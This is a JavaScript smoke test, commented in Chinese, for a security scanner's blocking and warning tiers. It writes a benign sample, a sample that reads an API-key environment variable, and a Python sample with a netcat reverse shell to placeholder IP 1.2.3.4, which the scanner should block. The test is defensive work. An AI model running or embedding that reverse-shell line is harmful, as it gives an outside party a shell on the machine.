// 安全扫描分级冒烟（P0 阻断 / P1 告警）
const { mkdtempSync, writeFileSync, rmSync } = require('node:fs')
const { join } = require('node:path')
const { tmpdir } = require('node:os')
const { scanDir } = require('/opt/dshs/lib/web/security-scan.js')

const dir = mkdtempSync(join(tmpdir(), 'scan-smoke-'))
// ① P1 样例：动态执行 + 敏感 env（应告警不阻断）
writeFileSync(join(dir, 'a.js'), 'const cp = require("child_process");\nconst k = process.env.DEEPSEEK_API_KEY;\n')
let findings = []
try { findings = scanDir(dir) } catch (e) { console.log('  ❌ P1 样例被阻断（不该）：', e.message.slice(0, 80)) }
console.log('  ① P1 样例 findings:', JSON.stringify(findings))
// ② P0 样例：反弹 shell（应阻断）
writeFileSync(join(dir, 'b.py'), 'import os\nos.system("nc -e /bin/sh 1.2.3.4 4444")\n')
try { scanDir(dir); console.log('  ❌ P0 样例未阻断（不该）') } catch (e) { console.log('  ✅ P0 样例已阻断:', e.message.slice(0, 90)) }
// ③ 良性样例：不应有任何 finding
const clean = mkdtempSync(join(tmpdir(), 'scan-clean-'))
writeFileSync(join(clean, 'ok.js'), 'export const hello = (n) => `hi ${n}`\n')
const cleanFindings = scanDir(clean)
console.log('  ② 良性样例 findings:', JSON.stringify(cleanFindings), cleanFindings.length === 0 ? '✅' : '❌')
rmSync(dir, { recursive: true, force: true }); rmSync(clean, { recursive: true, force: true })